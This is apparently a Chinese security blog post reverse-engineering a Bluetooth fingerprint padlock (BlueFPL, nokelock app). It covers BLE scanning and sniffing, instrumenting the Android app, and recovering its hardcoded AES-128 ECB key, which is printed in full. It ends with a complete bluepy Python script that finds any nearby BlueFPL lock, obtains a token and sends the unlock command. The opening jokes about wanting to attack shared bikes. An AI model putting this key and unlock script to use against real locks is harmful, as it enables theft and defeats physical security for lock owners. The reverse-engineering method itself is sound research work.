前言
今年西葫芦🗡的时候是一个蓝牙题都没做出来，之前复现xuanxuan师傅出的THUCTF硬件题的蓝牙部分也没完全弄懂，于是下定决心通过几个设备来研究研究
刚学pwn的时候，对宿舍楼下的小蓝车就有所“垂涎”，一直在思考如何打（太可刑了）
经过给小蓝车app投资数次1.5米巨资过后，作为名义上的股东，我大概弄清楚了小蓝车的锁应该也是蓝牙的（因为每次连它都让我开蓝牙233）
为了避免下半辈子只能在几平米的空间活动，我在某鱼上淘到了一款蓝牙🔒作为小蓝车的平替
这里简单记录一下研究的过程
nRF蓝牙抓包
首先需要解决的问题是获取蓝牙锁的MAC地址，因为最后我们需要使用gatttool（后面会提到这个工具）直接通过MAC地址与蓝牙锁交互
比较好用的是nRF这个软件（苹果手机可以用lightblue），能够直接扫描查看周围的蓝牙设备
但如果直接在生活区进行抓包干扰因素非常多：
于是我们跑到一个没有其它设备的地方轻触指纹区域，当亮起红光的时候：
在nRF上就能看到设备名和MAC地址了：
可以看出设备名为BlueFPL，MAC地址为F0:45:DA:AA:F4:36
蓝牙扫描
初步扫描
通过树莓派+蓝牙适配器的组合（环境搭建详见：[[原创]基于树莓派的蓝牙调试环境搭建-智能设备-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)](https://bbs.kanxue.com/thread-276615.htm)）
使用bluetoothctl的scan on功能，就能扫描出设备：
表示我们的蓝牙调试环境没有问题
使用gatttool尝试连接并使用primary看查所有service：
然后通过characteristics命令看查所有的特性：
其中handle是特性的句柄，char properties是特性的属性值，char value handle是特性值的句柄，uuid是特性的标识
虽然扫描出了service和characteristics，但我们还不能直观的知道这些服务是用来干什么的，而且也没法将特性和服务配对
下面我们使用bettercap这一个强大的工具中的”ble.recon”模块，进行深入的扫描和理解
深入扫描
githu仓库：https://github.com/bettercap/bettercap
个人认为仓库给出的安装教程非常的模糊，很多东西都没有说清楚，所以这里简单讲讲我是怎么安装的
环境：ubuntu或树莓派4b 安装：
（1）首先需要安装go环境：
sudo apt install golang-go（2）go“换源”：
echo "export GOPROXY=https://goproxy.io,direct" >> ~/.profile && source ~/.profile（3）安装依赖：
sudo apt install build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev libssl-dev libnl-3-dev libnl-genl-3-dev pkg-config（4）安装软件包：
git clone https://github.com/bettercap/bettercap.git
cd bettercap
make build
sudo make install然后输入如下命令就能够使用低功耗蓝牙功能了：
sudo bettercap
ble.recon on
具体的用法可以参考官方手册：https://www.bettercap.org/modules/ble/
对于我们刚才提到的需要，使用ble.enum就好啦：
可以发现，通过ble.enum，能够形象地看出service所属的characteristics以及它们的属性
接下来我们就可以通过蓝牙嗅探，看看在开锁的过程中涉及的服务和特征
蓝牙抓包
思路一：使用ubertooth进行嗅探
通过ubertooth one，我们嗅探到了如下的蓝牙数据：
可以看出大致分为”Write Request”和”Handle Value Notification”两类，我们各点开一个看看
“Write Request”：
“Handle Value Notification”：
可以发现它们的handle分别是0x3和0x6，分别对应的是前面bettercap里获取的UUID为36f5和36f6的特征，十分合理
于是以后的抓包我们可以给出如下过滤（上面那张图片这么规整已经是过滤过后了的）：
(btatt.opcode == "Handle Value Notification" && btatt.handle == 0x6 ) || (btatt.opcode == "Write Request" && btatt.handle == 0x3)多次尝试抓包，发现value的值差别很大，猜测有所加密 那么下一步就要从安卓逆向的角度分析app里的加密模式和密钥了
思路二：从BUG日志中获取蓝牙HCI日志
实际上可能会出现很难抓到包的情况，所以这里提供第二种思路供大家尝试：
嗅探是中间信道，很可能会受到干扰，于是我们尝试从手机的蓝牙日志里直接获取和锁的通信
首先需要打开开发人员选项，一般的手机都是在”关于本机”的位置点击多次版本号就可打开
进入开发人员选项后，开启”蓝牙HCI信息收集日志”
然后我们需要使用”adb”这个调试工具，连上手机，然后dump下BUG日志
解压这个zip文件，在解压目录下会生成同名的一个txt文件：
把它拖到Ubuntu里面（不知道为啥，在我的windows上会有问题），然后下载一个叫btsnooz.py的脚本并把它放在和这个文本文件同目录下，执行如下命令：
LC_CTYPE=C sed -n "/BEGIN:BTSNOOP_LOG_SUMMARY/,/END:BTSNOOP_LOG_SUMMARY/p " bugreport-ASK-AL00x-HONORASK-AL00x-2023-04-03-08-31-01.txt | egrep -av "BTSNOOP_LOG_SUMMARY" | python btsnooz.py > hci.log（ps：为什么命令会和官方的教程有点不太一样，因为产生了如下的报错和解决办法）
然后就得到了能够用wireshark查看的蓝牙日志”hci.log”了:
可以看到效果非常好，但是在笔者的手机上的数据会有一个问题，就是value显示不全：
不知道是不是脚本对数据包有所切割，反正就感觉很离谱
而且这种方法对我平时用的手机也不生效，甚至不能产生hci.log文件
app逆向分析（初步）
将apk拖进JEB中，然后在Bytecode层级的com.nokelock.blelibrary.b.b里面能找到加密和解密的地方：
差别就是Ciper.init()的第一个参数，询问一下chatgpt：
观察类中的这两个方法，都涉及两个byte数组参数arg2，arg3：
arg2对应的是密文/明文，arg3对应的是密钥
具体的用Ciper类加密可以参考这一篇文章：Java使用Cipher类实现加密，包括DES，DES3，AES和RSA加密 – 蔡昭凯 – 博客园 (cnblogs.com)
经过上面的分析，我们知道了加密算法是AES而且是ECB模式无padding，但是还不知道密钥和密钥长度
接下来我们尝试在apk里进行插桩，目的是打印密文/明文，密钥来分析实际上开锁的时候在apk中的数据
app插桩
插桩过程
实际上插桩这步是劳烦oacia👴帮我做的，教程同步到了他的文章：[[原创]对某apk的一次插桩记录-Android安全-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)](https://bbs.kanxue.com/thread-276708.htm)
写的非常好，这里就不再班门弄斧了 可能唯一没太讲清楚会遇到问题的是，使用他给的smali进行插桩会和github上的项目会有一点点差别：
invoke-static {p0}, LSewellDinGLog;->Log([B)V在最后插桩的时候，这里从object变成B类（字节数组）了，如果还是使用object类会有问题
因为我们重写的java源码是对字节数组进行的操作，可以参考原来的apk里类似对字节数组的操作的smali代码：
然后还有一个神奇的问题，就是在笔者的电脑上使用回编译过后的apk，会缺少签名、主SDK等等东西：
这种APK在我的手机上安装不了，但雷电模拟器能装（但先要使用这个工具对回编译的APK进行签名）
于是我把雷电模拟器里的apk导出来，它的这些东西又变正常了：
非常神奇，然后顺利成章的我的手机也能装了
原来手机也这么矫情2333
插桩打印信息分析
通过adb工具，我们能够连接安卓设备并且执行一些命令
这里我们通过adb logcat命令来搜索SewellDinG查看插桩打印的信息：
F:\platform-tools>adb logcat -s SewellDinG
--------- beginning of main
03-27 17:18:08.895 31117 31117 D SewellDinG: 05010630303030303082E3C89616017D
03-27 17:18:08.895 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:08.895 31117 31117 D SewellDinG: 6629B62C88A7E50525E92C328AF258E6
03-27 17:18:10.114 31117 31117 D SewellDinG: 732F5CB22C06B0C2D0D17AD31D165805
03-27 17:18:10.114 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:10.114 31117 31117 D SewellDinG: 05020100E3C896010202000000000000
03-27 17:18:11.770 31117 31117 D SewellDinG: 530B1FCA1467A408A321E71F3D152127
03-27 17:18:11.771 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:11.772 31117 31117 D SewellDinG: 050D0100E3C896010202000000000000
03-27 17:18:37.864 31117 31117 D SewellDinG: 05010630303030303082E3C89601635C
03-27 17:18:37.864 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:37.864 31117 31117 D SewellDinG: 3FFA9BE0BA05D2ECC8CF74D2CDB7867C
03-27 17:18:39.263 31117 31117 D SewellDinG: 732F5CB22C06B0C2D0D17AD31D165805
03-27 17:18:39.263 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:39.263 31117 31117 D SewellDinG: 05020100E3C896010202000000000000
03-27 17:18:40.923 31117 31117 D SewellDinG: 530B1FCA1467A408A321E71F3D152127
03-27 17:18:40.923 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:40.924 31117 31117 D SewellDinG: 050D0100E3C896010202000000000000解密
在插桩打印的信息中有两个点值得我们注意：
（1）”241F632E5907042061014C1A3A45193B”这个字符串一直在重复，且一直处于一组数据的中部
（2）出现了以”050D”、”0502″、”0501″开头的后面不大一样的疑似有规律的数据
根据我们的插桩，一直处于中部的数据只可能是密钥，那么”241F632E5907042061014C1A3A45193B”就是密钥的某种形式。通过密钥创建的方法”SecretKeySpec”的参数类型可以看出，这是密钥的16进制字符串表示：
对chatgpt输入如下指令即可自动生成解密脚本：
请用python实现一个密钥的16进制字符表示形式是241F632E5907042061014C1A3A45193B的ECB模式无padding的AES-128解密程序，并以16进制字符串的形式输出打印明文解密脚本：
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import ECB
from cryptography.hazmat.backends import default_backend
import binascii
# 转换输入的16进制字符串为字节串
key_hex = "241F632E5907042061014C1A3A45193B"
key = binascii.unhexlify(key_hex)
#key = b"[B@7ef20235"
# 创建 AES 密钥
if len(key) == 16: # 128 bit
algorithm = algorithms.AES(key)
else:
raise ValueError("Invalid key size")
# 创建解密器
backend = default_backend()
cipher = Cipher(algorithm, modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
# 解密密文
#iv = "a20e10ec8ebfd6069c1f84a9cff39e33"
iv = "51653e25e098f5e74e0f152062ee6d5d"
encrypted_data = binascii.unhexlify(iv)
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
# 打印解密结果
print(binascii.hexlify(decrypted_data))
运行结果：
对我们之前的wireshark里的数据都进行解密，然后把结果用XLS表示出来：
在app里的com.nokelock.blelibrary.mode.order可以发现和”Write Request”解密出来的头4个字符有关的enum：
添加到表格中：
发现有一个特别令我们欣喜的东西——”OPEN_LOCK”
是否意味着我们把这个value的值通过蓝牙工具发到锁中锁就开了？
答案是否定的，这个value以及它解出来的text是会变的，这一点比照前面adb打印插桩的同样的”0501″开头的数据就知道。所以我们还需要知道怎么获得这个”变”的东西
值得注意的是，同样在这个地方有个”GET_TOKEN”字样：
猜测变化的值和这里有关
至于有没有和”Handle Value Notification”有关的类似的enum，在com.nokelock.blelibrary.mode.a里找到了这个：
不难看出，这里的代码应该是app接收到蓝牙锁返回的”Handle Value Notification”的value，将它解密过后根据前4个字符去执行对应的功能。而且根据”0202″这个分支里的具体内容已经能大致猜测这里响应的内容是什么了——电池电量，因为有个（v1<=100）的判断，然后对v3这个bool变量赋值判断是否合法。
再结合之前的”0201″为”GET_BATTERY”，一切的说法都看上去合理了起来，我们甚至已经能根据前面的数据，推测响应的时候电池电量为54
但这个说法还有待验证，以及我们还不知道”v0.a()”执行了什么操作，于是需要更深入的逆向
app逆向（深入）
对于说法的验证
首先为了验证前面”发送过后获取响应”的说法，逆向到了com.nokelock.blelibrary.BLEService：
看到了熟悉的两个UUID，以及它们对应的Characteristic变量
在下面能找到分别对这两个Characteristic的操作：
从这里就已经能看出在蓝牙通信的时候，app往UUID36f5写入请求信息，然后蓝牙锁通过UUID36f6进行响应
探究v0的操作
v0一开始是在这里定义的：
这个com.nokelock.blelibrary.a.a是一个抽象接口：
以v0.a()为例，如果我们想看它具体是怎么实现的，在JEB里点击”a”就能直接查看了：
进入红框的部分就能看到具体的实现了：
可以看到这里有个电池电量低于20就会打印”电量不足”的字样，和使用app时候的情况一致
猜测对于”GET_TOKEN”的响应也在这里面，但是不好直接找出TOKEN的值
于是我们去找”OPEN_LOCK”的地方，因为那里大概率会有响应的”TOKEN”
探究”OPEN_LOCK”写入了什么
在jadx里查找”OPEN_LOCK”这个字符串，定位到了这个地方：
红框部分通过对”SET_B_ARRAY”的逆向，可以得到是：
(0x6,0x30,0x30,0x30,0x30,0x30,0x30)
对应了OPEN_LOCK解密的部分数据:06303030303030
其余数据能够在父类TX_Order里看出来：
蓝色部分是0501，绿色部分是刚才的那块数据，红色部分应该是Token，剩下的黄色部分使用随机数进行填充
响应的TOKEN
分析com.nokelock.blelibrary.b.d.a().b()：
最后返回的其实是这里的字符数组：
“c2 == 0″对应的是它上面的一个地方：
结合之前的分析，就能知道GET_TOKEN的响应头应该是”0602″了 那么接下来唯一需要解决的是发送的GET_TOKEN请求长什么样子了
如何GET_TOKEN
同样通过查找字符串的手段，我们可以定位到这里：
和”OPEN_LOCK”不一样的地方就是它重写了a()这个方法，可以很容易分析出响应头为”06010101″
剩下的数据都是为了方便最后的加密进行的随机数的填充
那么发送未加密前是”06010101000000000000000000000000″的数据就能成功获取TOKEN的值
发送数据尝试开锁
通过上面有点长的分析，我们弄清楚了开锁的重要流程（关于获取电量这些无关紧要的在此不考虑）：
（1）APP发送GET_TOKEN请求，锁返回TOKEN
（2）APP根据锁返回的TOKEN，执行开锁命令
接下来我们通过Bluepy这个python的蓝牙模块尝试发包开锁
安装Bluepy
github网址：IanHarvey/bluepy: Python interface to Bluetooth LE on Linux (github.com)
安装依赖（使用python3环境）：
sudo apt-get install python3-pip libglib2.0-dev安装模块：
sudo pip3 install bluepy如果上面两步失败，可以尝试从源码进行安装：
sudo apt-get install git build-essential libglib2.0-dev
git clone https://github.com/IanHarvey/bluepy.git
cd bluepy
python setup.py build
sudo python setup.py installBluepy的基本使用
官方手册：bluepy – a Bluetooth LE interface for Python — bluepy 0.9.11 documentation (ianharvey.github.io)
Bluepy这个模块采用了面向对象编程的思想，在具体操作的时候对设备、服务等等都抽象成了对象以便于操作
扫描
通过Scanner生成一个对象进行扫描：
scanner = Scanner()
devices = scanner.scan(timeout=3)
print("%-30s %-10s" % ("Name", "Address"))
for dev in devices:
print("%-30s %-20s" % (dev.getValueText(9), dev.addr))建立连接
通过Peripheral函数建立连接
addr = ""
conn = Peripheral(addr) 获取Service
services = conn.getServices()
for svc in services:
print(svc.uuid) 获取characteristics
# 1. 获取所有 Characteristic
characteristics = conn.getCharacteristics()
for charac in characteristics:
print(charac.uuid)
# 2. 获取特定 Service 下的 Characteristic
characteristics = svc.getCharacteristics()读写Characteristic
charac.read()
charac.write() 尝试开锁
订阅Notification
经过分析，我们知道36f6这个characteristic的属性是notify
对于notify属性的characteristic，没办法直接读和直接写，需要先向UUID为”0x2902″的descriptor写入”1″进行订阅才能获取所有notify属性的characteristic的响应
另外，我们写一个类来获取响应的handle和value：
class NotifyDelegate(DefaultDelegate):
def __init__(self,params):
DefaultDelegate.__init__(self)
def handleNotification(self,cHandle,data):
global TOKEN
print("Notification from Handle: 0x" + format(cHandle,"02X"))
TOKEN = decrypt(binascii.hexlify(data))
print(TOKEN)获取token
通过等待响应即可获取token：
while True:
if conn.waitForNotifications(1.0):
break
print("Wating....")
TX_CHAR.write(binascii.unhexlify(encrypt(pd))) 发包开锁
对36f5写入发包数据即可开锁:
pd = b"050106303030303030"+TOKEN+b"000000"
TX_CHAR.write(binascii.unhexlify(encrypt(pd))) 完整代码
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import ECB
from cryptography.hazmat.backends import default_backend
import binascii
from bluepy.btle import Scanner,Peripheral,DefaultDelegate
KEY = "241F632E5907042061014C1A3A45193B"
TOKEN = ""
class NotifyDelegate(DefaultDelegate):
def __init__(self,params):
DefaultDelegate.__init__(self)
def handleNotification(self,cHandle,data):
global TOKEN
print("Notification from Handle: 0x" + format(cHandle,"02X"))
TOKEN = decrypt(binascii.hexlify(data))
print(TOKEN)
def decrypt(plaintext):
key = binascii.unhexlify(KEY)
# 创建 AES 密钥
if len(key) == 16: # 128 bit
algorithm = algorithms.AES(key)
else:
raise ValueError("Invalid key size")
# 创建解密器
backend = default_backend()
cipher = Cipher(algorithm, modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
# 解密密文
encrypted_data = binascii.unhexlify(plaintext)
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
# 解密结果
return binascii.hexlify(decrypted_data)
def encrypt(plaintext):
# 将密钥从16进制字符串转换为字节数组
key = binascii.unhexlify(KEY)
# 创建AES加密器对象
backend = default_backend()
algorithm = algorithms.AES(key)
cipher = Cipher(algorithm, modes.ECB(), backend=backend)
encryptor = cipher.encryptor()
# 对明文进行加密
decrypted_data = binascii.unhexlify(plaintext)
encrypted_data = encryptor.update(decrypted_data) + encryptor.finalize()
# 将密文转换为16进制字符串返回
return binascii.hexlify(encrypted_data)
def done(addr):
global TOKEN
print("[+]Find BlueFPL")
print("[+]Try Connecting.....")
conn = Peripheral(addr)
if conn:
print("[+]Connecting successfully!")
conn.withDelegate(NotifyDelegate(conn))
else:
print("[+]Fail to connet")
exit(1)
print("[+]Try find fee7")
svc_uuid = "0000fee7-0000-1000-8000-00805f9b34fb"
svc = conn.getServiceByUUID(svc_uuid)
if svc :
print("[+]Found fee7!")
else :
print("[+]fee7 not found")
exit(1)
print(svc.uuid)
TX_CHAR = conn.getCharacteristics(uuid = "000036f5-0000-1000-8000-00805f9b34fb")[0]
RX_CHAR = conn.getCharacteristics(uuid = "000036f6-0000-1000-8000-00805f9b34fb")[0]
print("[+]Try GET_TOKEN")
pd = "06010101000000000000000000000000"
hEcg = RX_CHAR.getHandle()
hEcgcc = 0
for descriptor in conn.getDescriptors(hEcg,svc.hndEnd):
if (descriptor.uuid == 0x2902):
print("[+]Found descriptor handle")
hEcgcc = descriptor.handle
if hEcgcc == 0:
print("Fail to find descriptor handle")
exit(1)
print("[+]Descriptor handle:"+str(hEcgcc))
conn.writeCharacteristic(hEcgcc,bytes([1,0]))
while True:
if conn.waitForNotifications(1.0):
break
print("Wating....")
TX_CHAR.write(binascii.unhexlify(encrypt(pd)))
TOKEN = TOKEN[6:14]
print(b"[+]TOKEN:"+TOKEN)
print("[+]Try OPEN_LOCK")
pd = b"050106303030303030"+TOKEN+b"000000"
TX_CHAR.write(binascii.unhexlify(encrypt(pd)))
print("[+]Open successfully!")
conn.disconnect()
if __name__ == "__main__":
scanner = Scanner()
devices = scanner.scan(timeout = 3)
for dev in devices:
if dev.getValueText(9) and ("BlueFPL" in dev.getValueText(9)):
done(dev.addr)
执行效果
参考文章
物联网安全拔“牙”实战——低功耗蓝牙（BLE）初探 https://www.ctfiot.com/10661.html Ubertooth One 使用系列 (一) — 破解蓝牙锁 – 知乎 (zhihu.com) 低功耗蓝牙ATT/GATT/Profile/Service/Characteristic规格解读 – iini – 博客园 (cnblogs.com) Java使用Cipher类实现加密，包括DES，DES3，AES和RSA加密 – 蔡昭凯 – 博客园 (cnblogs.com) [[python] bluepy 一款python封装的BLE利器 – beautifulzzzz – 博客园 (cnblogs.com)](https://www.cnblogs.com/zjutlitao/p/10171913.html) Python3环境，树莓派使用bluepy与BLE设备通信 – 天命小猪 – 博客园 (cnblogs.com)